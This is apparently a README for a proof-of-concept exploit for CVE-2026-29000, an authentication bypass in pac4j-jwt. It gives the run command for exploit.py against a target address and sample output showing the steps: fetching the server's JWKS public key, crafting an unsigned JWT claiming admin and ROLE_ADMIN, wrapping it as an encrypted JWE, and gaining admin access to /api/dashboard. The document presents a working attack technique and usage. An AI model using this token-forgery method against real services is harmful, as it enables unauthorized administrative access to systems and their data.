
Proof-of-concept exploit for CVE-2026-29000, an authentication bypass in pac4j-jwt. Forges JWT tokens to gain admin access to protected endpoints.
Note: This is not my original work. I am keeping this here for a reference.
Working methodology:
python3 exploit.py http://IP:PORT
[*] Fetching JWKS...
[+] Got RSA public key (kid: enc-key-1)
[*] Crafted PlainJWT with sub=admin, role=ROLE_ADMIN
[+] Forged JWE token created
[*] Accessing /api/dashboard...
[+] Status: 200
[+] Authenticated as: admin (ROLE_ADMIN)
[+] Token: eyJhbGciOiAiUlN_.....[Redacted].....D4zwSEY05lFkCB.J933HR-irY6a0r2uivRLZw